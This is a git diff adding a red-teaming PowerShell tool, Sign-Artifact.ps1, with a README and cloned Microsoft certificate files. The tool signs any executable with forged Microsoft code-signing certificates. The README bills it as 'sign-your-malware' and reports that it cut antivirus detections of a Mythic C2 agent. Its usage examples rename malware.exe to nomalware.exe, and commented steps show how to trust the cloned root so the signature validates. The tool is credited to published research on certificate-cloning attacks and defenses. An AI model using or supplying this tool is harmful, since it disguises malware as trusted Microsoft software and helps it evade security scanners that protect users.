diff --git a/red-teaming/Self-Signed Threat/MSKernel32Leaf.cer b/red-teaming/Self-Signed Threat/MSKernel32Leaf.cer new file mode 100644 index 0000000..c88843c Binary files /dev/null and b/red-teaming/Self-Signed Threat/MSKernel32Leaf.cer differ diff --git a/red-teaming/Self-Signed Threat/MSKernel32PCA.cer b/red-teaming/Self-Signed Threat/MSKernel32PCA.cer new file mode 100644 index 0000000..a6d001c Binary files /dev/null and b/red-teaming/Self-Signed Threat/MSKernel32PCA.cer differ diff --git a/red-teaming/Self-Signed Threat/MSKernel32Root.cer b/red-teaming/Self-Signed Threat/MSKernel32Root.cer new file mode 100644 index 0000000..c9a8fa2 Binary files /dev/null and b/red-teaming/Self-Signed Threat/MSKernel32Root.cer differ diff --git a/red-teaming/Self-Signed Threat/README.md b/red-teaming/Self-Signed Threat/README.md new file mode 100644 index 0000000..10b3c5b --- /dev/null +++ b/red-teaming/Self-Signed Threat/README.md @@ -0,0 +1,19 @@ +## Easy-to-use test-it-yourself sign-your-malware + +A Powershell script that signs input Executable file with fake Microsoft code-signing certificate to demonstrate risks of Code Signing attacks. + +Script was borrowed from [Matt Graeber, @mattifestation](https://twitter.com/mattifestation) and his [_Code Signing Certificate Cloning Attacks and Defenses_](https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec) and **all credits are his**. + +As of 13/07/2022 this dumb trick still gets off the shelf malware evade detection of at least 8 modern security scanners. + +| What | Result | +|------------------------------------------------------------------------------|-----------| +| Mythic Apollo.exe before fake-signing | [30/70](https://www.virustotal.com/gui/file/1413de7cee2c7c161f814fe93256968450b4e99ae65f0b5e7c2e76128526cc73?nocache=1) | +| Mythic Apollo.exe after fake-signing with Microsoft code-signing certificate | [22/70](https://www.virustotal.com/gui/file/34543de8a6b24c98ea526d8f2ae5f1dbe99d64386d8a8f46ddbcdcebaac3df65?nocache=1) | + +### Usage + +``` +PS C:\> . .\Sign-Artifact.ps1 +PS C:\> Sign-Artifact -InputFile malware.exe -OutputFile nomalware.exe -Verbose +``` diff --git a/red-teaming/Self-Signed Threat/Sign-Artifact.ps1 b/red-teaming/Self-Signed Threat/Sign-Artifact.ps1 new file mode 100644 index 0000000..85ead33 --- /dev/null +++ b/red-teaming/Self-Signed Threat/Sign-Artifact.ps1 @@ -0,0 +1,98 @@ +Function Sign-Artifact { + <# + .SYNOPSIS + Signs input executable file with a faked Microsoft code signing certificate. + + .DESCRIPTION + This script uses built-into Windows interfaces to import a fake Microsoft code-signing certificate + and use it to sign input executable artifact. Result will be signed, although not verifiable executable. + + Based on Matt Graeber's implementation: + https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec + + .EXAMPLE + PS C:\> Sign-Artifact -InputFile malware.exe -OutputFile microsoft.exe + #> + + [CmdletBinding()] + param( + [Parameter(Mandatory=$True)] + [string] + $InputFile, + + [Parameter(Mandatory=$True)] + [string] + $OutputFile, + + [switch] + $Quiet + ) + + $Verbose = $PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent + + if (-not(Test-Path $InputFile)) + { + Write-Error "[!] Input file does not exist! FilePath: $InputFile" + exit 1 + } + + if(Test-Path $OutputFile) + { + Remove-Item -Force $OutputFile + } + + # + # Based on: + # + # + + # We'll just store the cloned certificates in current user "Personal" store for now. + $CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' } + + $MS_Root_Cert = Get-PfxCertificate -FilePath (Join-Path -Path $PSScriptRoot -ChildPath "\MSKernel32Root.cer") + $Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation + + $MS_PCA_Cert = Get-PfxCertificate -FilePath (Join-Path -Path $PSScriptRoot -ChildPath "MSKernel32PCA.cer") + $Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation + + $MS_Leaf_Cert = Get-PfxCertificate -FilePath (Join-Path -Path $PSScriptRoot -ChildPath "MSKernel32Leaf.cer") + $Cloned_MS_Leaf_Cert = New-SelfSignedCertificate -CloneCert $MS_Leaf_Cert -Signer $Cloned_MS_PCA_Cert @CertStoreLocation + + + # Validate that that $OutputFile is not signed. + if($Verbose) + { + Write-Host "`n================================================================================================`n[.] Before signing: `n" + Get-AuthenticodeSignature -FilePath $InputFile + } + + Copy-Item -Force $InputFile $OutputFile | Out-Null + + + # Sign $OutputFile with the cloned Microsoft leaf certificate. + Set-AuthenticodeSignature -Certificate $Cloned_MS_Leaf_Cert -FilePath $OutputFile | Out-Null + + # The certificate will not properly validate because the root certificate is not trusted. + + # View the StatusMessage property to see the reason why Set-AuthenticodeSignature returned "UnknownError" + # "A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider" + + if($Verbose) + { + Write-Host "`n================================================================================================`n[+] After signing: `n" + Get-AuthenticodeSignature -FilePath $OutputFile + } + + if(-not $Quiet -or $Verbose) + { + Get-AuthenticodeSignature -FilePath $OutputFile | Format-List * + } + + # Save the root certificate to disk and import it into the current user root store. + # Upon doing this, the $OutputFile signature will validate properly. + # Export-Certificate -Type CERT -FilePath (Join-Path -Path $PSScriptRoot -ChildPath "MSKernel32Root_Cloned.cer") -Cert $Cloned_MS_Root_Cert + # Import-Certificate -FilePath (Join-Path -Path $PSScriptRoot -ChildPath "MSKernel32Root_Cloned.cer") -CertStoreLocation Cert:\CurrentUser\Root\ + # + # # You may need to start a new PowerShell process for the valid signature to take effect. + # Get-AuthenticodeSignature -FilePath $FilePath +} \ No newline at end of file diff --git a/red-teaming/Self-Signed Threat/sigcheck.exe b/red-teaming/Self-Signed Threat/sigcheck.exe new file mode 100644 index 0000000..cd9b2fd Binary files /dev/null and b/red-teaming/Self-Signed Threat/sigcheck.exe differ diff --git a/red-teaming/Self-Signed Threat/sigcheck64.exe b/red-teaming/Self-Signed Threat/sigcheck64.exe new file mode 100644 index 0000000..951616f Binary files /dev/null and b/red-teaming/Self-Signed Threat/sigcheck64.exe differ